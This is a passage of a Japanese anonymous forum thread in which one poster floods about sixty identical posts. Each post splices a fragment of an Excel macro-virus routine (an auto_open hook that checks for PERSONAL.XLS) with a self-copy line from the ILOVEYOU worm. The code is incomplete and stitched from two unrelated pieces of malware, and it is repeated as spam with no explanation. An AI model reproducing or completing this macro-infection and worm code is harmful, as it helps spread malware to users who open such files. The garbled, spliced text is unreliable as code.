m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

665 番組の途中ですが名無しです :2012/01/31(火) 20:22:37 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

666 番組の途中ですが名無しです :2012/01/31(火) 20:23:08 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

667 番組の途中ですが名無しです :2012/01/31(火) 20:23:40 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

668 番組の途中ですが名無しです :2012/01/31(火) 20:24:11 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

669 番組の途中ですが名無しです :2012/01/31(火) 20:24:42 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

670 番組の途中ですが名無しです :2012/01/31(火) 20:25:13 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

671 番組の途中ですが名無しです :2012/01/31(火) 20:25:46 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

672 番組の途中ですが名無しです :2012/01/31(火) 20:26:17 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

673 番組の途中ですが名無しです :2012/01/31(火) 20:26:48 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

674 番組の途中ですが名無しです :2012/01/31(火) 20:27:19 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

675 番組の途中ですが名無しです :2012/01/31(火) 20:27:50 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

676 番組の途中ですが名無しです :2012/01/31(火) 20:28:22 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

677 番組の途中ですが名無しです :2012/01/31(火) 20:28:53 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

678 番組の途中ですが名無しです :2012/01/31(火) 20:29:25 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

679 番組の途中ですが名無しです :2012/01/31(火) 20:29:56 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

680 番組の途中ですが名無しです :2012/01/31(火) 20:30:27 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

681 番組の途中ですが名無しです :2012/01/31(火) 20:30:58 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

682 番組の途中ですが名無しです :2012/01/31(火) 20:31:29 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

683 番組の途中ですが名無しです :2012/01/31(火) 20:32:02 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

684 番組の途中ですが名無しです :2012/01/31(火) 20:32:33 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

685 番組の途中ですが名無しです :2012/01/31(火) 20:33:04 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

686 番組の途中ですが名無しです :2012/01/31(火) 20:33:35 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

687 番組の途中ですが名無しです :2012/01/31(火) 20:34:05 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

688 番組の途中ですが名無しです :2012/01/31(火) 20:34:38 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

689 番組の途中ですが名無しです :2012/01/31(火) 20:35:09 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

690 番組の途中ですが名無しです :2012/01/31(火) 20:35:41 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

691 番組の途中ですが名無しです :2012/01/31(火) 20:36:12 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

692 番組の途中ですが名無しです :2012/01/31(火) 20:36:43 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

693 番組の途中ですが名無しです :2012/01/31(火) 20:37:14 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

694 番組の途中ですが名無しです :2012/01/31(火) 20:37:47 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

695 番組の途中ですが名無しです :2012/01/31(火) 20:38:18 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

696 番組の途中ですが名無しです :2012/01/31(火) 20:38:49 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

697 番組の途中ですが名無しです :2012/01/31(火) 20:39:21 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

698 番組の途中ですが名無しです :2012/01/31(火) 20:39:52 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

699 番組の途中ですが名無しです :2012/01/31(火) 20:40:23 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

700 番組の途中ですが名無しです :2012/01/31(火) 20:40:55 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

701 番組の途中ですが名無しです :2012/01/31(火) 20:41:26 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

702 番組の途中ですが名無しです :2012/01/31(火) 20:41:57 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

703 番組の途中ですが名無しです :2012/01/31(火) 20:42:30 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

704 番組の途中ですが名無しです :2012/01/31(火) 20:43:01 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

705 番組の途中ですが名無しです :2012/01/31(火) 20:43:32 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

706 番組の途中ですが名無しです :2012/01/31(火) 20:44:04 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

707 番組の途中ですが名無しです :2012/01/31(火) 20:44:35 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

708 番組の途中ですが名無しです :2012/01/31(火) 20:45:05 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

709 番組の途中ですが名無しです :2012/01/31(火) 20:45:38 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

710 番組の途中ですが名無しです :2012/01/31(火) 20:46:09 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

711 番組の途中ですが名無しです :2012/01/31(火) 20:46:41 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

712 番組の途中ですが名無しです :2012/01/31(火) 20:47:12 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

713 番組の途中ですが名無しです :2012/01/31(火) 20:47:43 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

714 番組の途中ですが名無しです :2012/01/31(火) 20:48:14 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

715 番組の途中ですが名無しです :2012/01/31(火) 20:48:45 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

716 番組の途中ですが名無しです :2012/01/31(火) 20:49:16 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

717 番組の途中ですが名無しです :2012/01/31(火) 20:49:47 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

718 番組の途中ですが名無しです :2012/01/31(火) 20:50:19 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

719 番組の途中ですが名無しです :2012/01/31(火) 20:50:50 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

720 番組の途中ですが名無しです :2012/01/31(火) 20:51:20 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

721 番組の途中ですが名無しです :2012/01/31(火) 20:51:51 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

722 番組の途中ですが名無しです :2012/01/31(火) 20:52:23 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

723 番組の途中ですが名無しです :2012/01/31(火) 20:52:55 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

724 番組の途中ですが名無しです :2012/01/31(火) 20:53:26 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
